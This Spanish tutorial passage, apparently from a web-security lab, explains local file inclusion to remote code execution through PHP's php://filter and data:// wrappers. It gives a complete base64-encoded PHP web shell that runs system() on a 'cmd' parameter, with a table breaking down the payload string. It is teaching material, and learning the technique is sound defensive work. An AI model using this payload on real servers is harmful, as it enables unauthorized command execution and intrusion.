Los wrappers PHP también pueden ser usados no sólo para leer archivos sino para ejecutar código. La clave aquí es el wrapper php://filter el cual habilita las transformaciónes de archivos al vuelo. Toma el filtro de PHP base64, por ejemplo. Este método permite a los atacantes ejecutar código arbitrario en el servidor usando un payload base64-encodeado.

Por ejemplo, ve a http://IP/playground.php.

Usaremos el código PHP <? system($_GET['cmd']); echo 'Shell done!'; ?> como nuestro payload. El valor del payload, cuando se base64-encodea es php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.

PositionFieldValue
1Protocol Wrapperphp://filter
2Filterconvert.base64-decode
3Resource Typeresource=
4Data Typedata://plain/text,
5Encoded PayloadPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+

En la tabla de arriba, PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ es la versión base64-encodeada del código PHP. Cuando el servidor procesa esta petición, primero decodifica la string en base64 y luego ejecuta el código PHP, permitiendo a un atacante ejecutar comandos en el servidor vía el parámetro GET "cmd".

LFI2RCE - Wrappers

IMPORTANT

Es importante no incluir &cmd=whoami en el campo de input ya que será encodeado cuando se suba el formulario. Una vez encodeado, el backend tratará como parte de código base64, dándote un error de secuencia inválida.